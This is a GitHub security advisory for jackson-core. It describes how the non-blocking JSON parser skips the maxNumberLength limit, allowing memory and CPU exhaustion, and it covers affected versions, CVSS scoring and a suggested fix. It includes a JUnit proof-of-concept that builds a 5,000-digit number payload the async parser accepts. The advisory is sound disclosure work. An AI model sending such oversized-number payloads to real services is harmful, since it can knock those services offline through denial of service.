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jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition

High severity GitHub Reviewed Published Feb 26, 2026 in FasterXML/jackson-core • Updated Feb 28, 2026

Package

maven com.fasterxml.jackson.core:jackson-core (Maven)

Affected versions

>= 2.0.0, <= 2.18.5
>= 2.19.0, < 2.21.1
>= 3.0.0, < 3.1.0

Patched versions

2.18.6
2.21.1
3.1.0
maven tools.jackson.core:jackson-core (Maven)
>= 3.0.0, < 3.1.0
>= 2.19.0, < 2.21.1
>= 2.0.0, <= 2.18.5
3.1.0
2.21.1
2.18.6

Description

Summary

The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).

The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.

Details

The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.

  • The number parsing methods (e.g., _finishNumberIntegralPart) accumulate digits into the TextBuffer without any length checks.
  • After parsing, they call _valueComplete(), which finalizes the token but does not call resetInt() or resetFloat().
  • The resetInt()/resetFloat() methods in ParserBase are where the validateIntegerLength() and validateFPLength() checks are performed.
  • Because this validation step is skipped, the maxNumberLength constraint is never enforced in the async code path.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
		
		// Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Impact

A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:

  1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
  2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.

Suggested Remediation

The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.

NOTE: This research was performed in collaboration with rohan-repos

References

@cowtowncoder cowtowncoder published to FasterXML/jackson-core Feb 26, 2026
Published to the GitHub Advisory Database Feb 28, 2026
Reviewed Feb 28, 2026
Last updated Feb 28, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-72hv-8253-57qq

Credits

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